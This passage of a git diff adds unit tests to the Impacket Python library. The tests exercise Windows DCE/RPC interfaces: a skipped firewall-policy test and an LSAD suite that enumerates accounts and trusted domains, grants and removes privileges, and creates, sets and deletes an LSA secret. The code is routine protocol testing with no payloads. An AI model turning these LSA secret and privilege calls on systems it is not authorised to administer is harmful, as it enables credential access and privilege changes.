+class EVEN6TestsTCPTransport64(EVEN6Tests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_fasp.py b/tests/dcerpc/test_fasp.py
new file mode 100644
index 0000000..758e9af
--- /dev/null
+++ b/tests/dcerpc/test_fasp.py
@@ -0,0 +1,76 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   FWOpenPolicyStore
+#
+# Not yet:
+#
+import unittest
+import pytest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+# XXX: This is just to pass tests until we figure out what happened with the
+#      fasp module
+fasp = None
+
+
+@pytest.mark.skip(reason="fasp module unavailable")
+class FASPTests(DCERPCTests):
+    #iface_uuid = fasp.MSRPC_UUID_FASP
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_FWOpenPolicyStore(self):
+        dce, rpc_transport = self.connect()
+        request = fasp.FWOpenPolicyStore()
+        request['BinaryVersion'] = 0x0200
+        request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL
+        request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ
+        request['dwFlags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hFWOpenPolicyStore(self):
+        dce, rpc_transport = self.connect()
+        resp = fasp.hFWOpenPolicyStore(dce)
+        resp.dump()
+
+    def test_FWClosePolicyStore(self):
+        dce, rpc_transport = self.connect()
+        resp = fasp.hFWOpenPolicyStore(dce)
+        request = fasp.FWClosePolicyStore()
+        request['phPolicyStore'] = resp['phPolicyStore']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hFWClosePolicyStore(self):
+        dce, rpc_transport = self.connect()
+        resp = fasp.hFWOpenPolicyStore(dce)
+        resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore'])
+        resp.dump()
+
+
+@pytest.mark.remote
+class FASPTestsTCPTransport(FASPTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class FASPTestsTCPTransport64(FASPTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_lsad.py b/tests/dcerpc/test_lsad.py
new file mode 100644
index 0000000..119b4a7
--- /dev/null
+++ b/tests/dcerpc/test_lsad.py
@@ -0,0 +1,1094 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   hLsarOpenPolicy2
+#   (h)LsarOpenPolicy
+#   (h)LsarQueryInformationPolicy2
+#   (h)LsarQueryInformationPolicy
+#   (h)LsarQueryDomainInformationPolicy
+#   (h)LsarEnumerateAccounts
+#   (h)LsarEnumerateAccountsWithUserRight
+#   (h)LsarEnumerateTrustedDomainsEx
+#   (h)LsarEnumerateTrustedDomains
+#   (h)LsarOpenAccount
+#   (h)LsarClose
+#   (h)LsarCreateAccount
+#   (h)LsarCreateAccount
+#   (h)LsarDeleteObject
+#   (h)LsarEnumeratePrivilegesAccount
+#   (h)LsarGetSystemAccessAccount
+#   (h)LsarSetSystemAccessAccount
+#   (h)LsarAddPrivilegesToAccount
+#   (h)LsarRemovePrivilegesFromAccount
+#   (h)LsarEnumerateAccountRights
+#   (h)LsarAddAccountRights
+#   (h)LsarRemoveAccountRights
+#   (h)LsarCreateSecret
+#   (h)LsarOpenSecret
+#   (h)LsarSetSecret
+#   (h)LsarQuerySecret
+#   (h)LsarRetrievePrivateData
+#   (h)LsarStorePrivateData
+#   (h)LsarEnumeratePrivileges
+#   (h)LsarLookupPrivilegeValue
+#   (h)LsarLookupPrivilegeName
+#   (h)LsarLookupPrivilegeDisplayName
+#   (h)LsarQuerySecurityObject
+#   (h)LsarSetSecurityObject
+#   (h)LsarQueryForestTrustInformation
+#   (h)LsarSetInformationPolicy
+#   (h)LsarSetInformationPolicy2
+# Not yet
+#   LsarCreateTrustedDomain
+#   LsarOpenTrustedDomain
+#   LsarQueryInfoTrustedDomain
+#   LsarSetInformationTrustedDomain
+#   LsarQueryTrustedDomainInfo
+#   LsarSetTrustedDomainInfo
+#   LsarDeleteTrustedDomain
+#   LsarQueryTrustedDomainInfoByName
+#   LsarSetTrustedDomainInfoByName
+#   LsarCreateTrustedDomainEx
+#   LsarSetDomainInformationPolicy
+#   LsarOpenTrustedDomainByName
+#   LsarCreateTrustedDomainEx2
+#   LsarSetForestTrustInformation
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import lsad
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED, RPC_UNICODE_STRING, DELETE
+from impacket.structure import hexdump
+
+
+class LSADTests(DCERPCTests):
+    iface_uuid = lsad.MSRPC_UUID_LSAD
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\lsarpc]"
+    authn = True
+
+    def open_policy(self, dce):
+        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION)
+        return resp['PolicyHandle']
+
+    def test_LsarOpenPolicy(self):
+        dce, rpctransport = self.connect()
+        request = lsad.LsarOpenPolicy()
+        request['SystemName'] = NULL
+        request['ObjectAttributes']['RootDirectory'] = NULL
+        request['ObjectAttributes']['ObjectName'] = NULL
+        request['ObjectAttributes']['SecurityDescriptor'] = NULL
+        request['ObjectAttributes']['SecurityQualityOfService'] = NULL
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarOpenPolicy(self):
+        dce, rpctransport = self.connect()
+        resp = lsad.hLsarOpenPolicy(dce)
+        resp.dump()
+
+    def test_LsarQueryInformationPolicy2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy2()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarQueryInformationPolicy2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)
+        resp.dump()
+
+    def test_LsarQueryInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt
+        resp = dce.request(request)
+        resp.dump()
+
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarQueryInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)
+        resp.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)
+        resp.dump()
+
+    def test_LsarQueryDomainInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryDomainInformationPolicy()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_INVALID_PARAMETER') < 0:
+                raise
+
+        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
+                raise
+
+        request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
+                raise
+
+    def test_hLsarQueryDomainInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        try:
+            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_INVALID_PARAMETER') < 0:
+                raise
+
+        try:
+            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
+                raise
+
+        try:
+            resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
+                raise
+
+    def test_LsarEnumerateAccounts(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarEnumerateAccounts()
+        request['PolicyHandle'] = policyHandle
+        request['PreferedMaximumLength'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+        #for i in range(resp['EnumerationBuffer']['EntriesRead']):
+        #    print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()
+
+    def test_hLsarEnumerateAccounts(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)
+        resp.dump()
+        #for i in range(resp['EnumerationBuffer']['EntriesRead']):
+        #    print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()
+
+    def test_LsarEnumerateAccountsWithUserRight(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarEnumerateAccountsWithUserRight()
+        request['PolicyHandle'] = policyHandle
+        request['UserRight'] = 'SeSystemtimePrivilege'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarEnumerateAccountsWithUserRight(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarEnumerateAccountsWithUserRight(dce,policyHandle, 'SeSystemtimePrivilege')
+        resp.dump()
+
+    def test_LsarEnumerateTrustedDomainsEx(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarEnumerateTrustedDomainsEx()
+        request['PolicyHandle'] = policyHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 0xffffffff
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
+                raise
+
+    def test_hLsarEnumerateTrustedDomainsEx(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        try:
+            resp = lsad.hLsarEnumerateTrustedDomainsEx(dce, policyHandle)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
+                raise
+
+    def test_LsarEnumerateTrustedDomains(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarEnumerateTrustedDomains()
+        request['PolicyHandle'] = policyHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 0xffffffff
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
+                raise
+
+    def test_hLsarEnumerateTrustedDomains(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        try:
+            resp = lsad.hLsarEnumerateTrustedDomains(dce, policyHandle)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
+                raise
+
+    def test_hLsarOpenAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)
+        resp.dump()
+
+        resp = lsad.hLsarOpenAccount(dce, policyHandle, resp['EnumerationBuffer']['Information'][0]['Sid'].formatCanonical())
+        resp.dump()
+
+        resp = lsad.hLsarClose(dce, resp['AccountHandle'])
+        resp.dump()
+
+    def test_LsarOpenAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarEnumerateAccounts()
+        request['PolicyHandle'] = policyHandle
+        request['PreferedMaximumLength'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarOpenAccount()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'] = resp['EnumerationBuffer']['Information'][0]['Sid']
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarClose()
+        request['ObjectHandle'] = resp['AccountHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_LsarCreateAccount_LsarDeleteObject(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy2()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        resp = dce.request(request)
+
+        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+        sid = sid + '-9999'
+
+        request = lsad.LsarCreateAccount()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarDeleteObject()
+        request['ObjectHandle'] = resp['AccountHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarCreateAccount_hLsarDeleteObject(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+
+        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+        sid = sid + '-9999'
+
+        resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)
+        resp.dump()
+
+        resp = lsad.hLsarDeleteObject(dce,resp['AccountHandle'])
+        resp.dump()
+
+    def test_LsarEnumeratePrivilegesAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        request = lsad.LsarOpenAccount()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarEnumeratePrivilegesAccount()
+        request['AccountHandle'] = resp['AccountHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarEnumeratePrivilegesAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)
+        resp.dump()
+
+        resp = lsad.hLsarEnumeratePrivilegesAccount(dce,resp['AccountHandle'] )
+        resp.dump()
+
+    def test_LsarGetSystemAccessAccount_LsarSetSystemAccessAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        request = lsad.LsarOpenAccount()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarGetSystemAccessAccount()
+        request['AccountHandle'] = resp['AccountHandle']
+        resp2 = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarSetSystemAccessAccount()
+        request['AccountHandle'] = resp['AccountHandle']
+        request['SystemAccess'] = resp2['SystemAccess']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarGetSystemAccessAccount_hLsarSetSystemAccessAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)
+        resp.dump()
+
+        resp2 = lsad.hLsarGetSystemAccessAccount(dce, resp['AccountHandle'])
+        resp2.dump()
+
+        resp = lsad.hLsarSetSystemAccessAccount(dce,resp['AccountHandle'],resp2['SystemAccess'])
+        resp.dump()
+
+    def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy2()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        resp = dce.request(request)
+
+        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+        sid = sid + '-9999'
+
+        request = lsad.LsarCreateAccount()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['DesiredAccess'] = MAXIMUM_ALLOWED | lsad.ACCOUNT_ADJUST_PRIVILEGES
+        resp = dce.request(request)
+        resp.dump()
+        accountHandle = resp['AccountHandle']
+
+        request = lsad.LsarAddPrivilegesToAccount()
+        request['AccountHandle'] = accountHandle
+        request['Privileges']['PrivilegeCount'] = 1
+        request['Privileges']['Control'] = 0
+        attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()
+        attribute['Luid']['LowPart'] = 0
+        attribute['Luid']['HighPart'] = 3
+        attribute['Attributes'] = 3
+        request['Privileges']['Privilege'].append(attribute)
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception:
+            request = lsad.LsarDeleteObject()
+            request['ObjectHandle'] = accountHandle
+            dce.request(request)
+            return
+
+        request = lsad.LsarRemovePrivilegesFromAccount()
+        request['AccountHandle'] = accountHandle
+        request['AllPrivileges'] = 1
+        request['Privileges'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarDeleteObject()
+        request['ObjectHandle'] = accountHandle
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+
+        sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+        sid = sid + '-9999'
+
+        resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)
+        accountHandle = resp['AccountHandle']
+
+        attributes = list()
+        attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()
+        attribute['Luid']['LowPart'] = 0
+        attribute['Luid']['HighPart'] = 3
+        attribute['Attributes'] = 3
+        attributes.append(attribute)
+        try:
+            resp = lsad.hLsarAddPrivilegesToAccount(dce,accountHandle, attributes)
+            resp.dump()
+        except Exception:
+            resp = lsad.hLsarDeleteObject(dce, accountHandle)
+            return
+
+        resp = lsad.hLsarRemovePrivilegesFromAccount(dce, accountHandle, NULL, 1)
+        resp.dump()
+
+        resp = lsad.hLsarDeleteObject(dce,accountHandle )
+        resp.dump()
+
+    def test_LsarEnumerateAccountRights(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        request = lsad.LsarEnumerateAccountRights()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarEnumerateAccountRights(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-544'
+
+        resp = lsad.hLsarEnumerateAccountRights(dce, policyHandle, sid)
+        resp.dump()
+
+    def test_LsarAddAccountRights_LsarRemoveAccountRights(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-504'
+
+        request = lsad.LsarAddAccountRights()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['UserRights']['EntriesRead'] = 1
+        right = RPC_UNICODE_STRING()
+        right['Data'] = 'SeChangeNotifyPrivilege'
+        request['UserRights']['UserRights'].append(right)
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarRemoveAccountRights()
+        request['PolicyHandle'] = policyHandle
+        request['AccountSid'].fromCanonical(sid)
+        request['UserRights']['EntriesRead'] = 1
+        right = RPC_UNICODE_STRING()
+        right['Data'] = 'SeChangeNotifyPrivilege'
+        request['UserRights']['UserRights'].append(right)
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarAddAccountRights_hLsarRemoveAccountRights(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        sid = 'S-1-5-32-504'
+
+        resp = lsad.hLsarAddAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))
+        resp.dump()
+        resp = lsad.hLsarRemoveAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))
+        resp.dump()
+
+    def test_LsarCreateSecret_LsarOpenSecret(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarCreateSecret()
+        request['PolicyHandle'] = policyHandle
+        request['SecretName'] = 'MYSECRET'
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarOpenSecret()
+        request['PolicyHandle'] = policyHandle
+        request['SecretName'] = 'MYSECRET'
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        request = lsad.LsarSetSecret()
+        request['SecretHandle'] = resp0['SecretHandle']
+        request['EncryptedCurrentValue']['Length'] = 16
+        request['EncryptedCurrentValue']['MaximumLength'] = 16
+        request['EncryptedCurrentValue']['Buffer'] = list('A'*16)
+        request['EncryptedOldValue']['Length'] = 16
+        request['EncryptedOldValue']['MaximumLength'] = 16
+        request['EncryptedOldValue']['Buffer'] = list('A'*16)
+        #request['EncryptedCurrentValue'] = NULL
+        #request['EncryptedOldValue'] = NULL
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception:
+            pass
+
+        request = lsad.LsarDeleteObject()
+        request['ObjectHandle'] = resp0['SecretHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarCreateSecret_hLsarOpenSecret(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsad.hLsarCreateSecret(dce, policyHandle, 'MYSECRET')
+        resp.dump()
+
+        resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'MYSECRET')
+        resp0.dump()
+
+        try:
+            resp = lsad.hLsarSetSecret(dce, resp0['SecretHandle'], 'A'*16, 'A'*16)
+            resp.dump()
+        except Exception:
+            pass
+
+        resp = lsad.hLsarDeleteObject(dce,resp0['SecretHandle'])
+        resp.dump()
+
+    def test_LsarQuerySecret(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarOpenSecret()
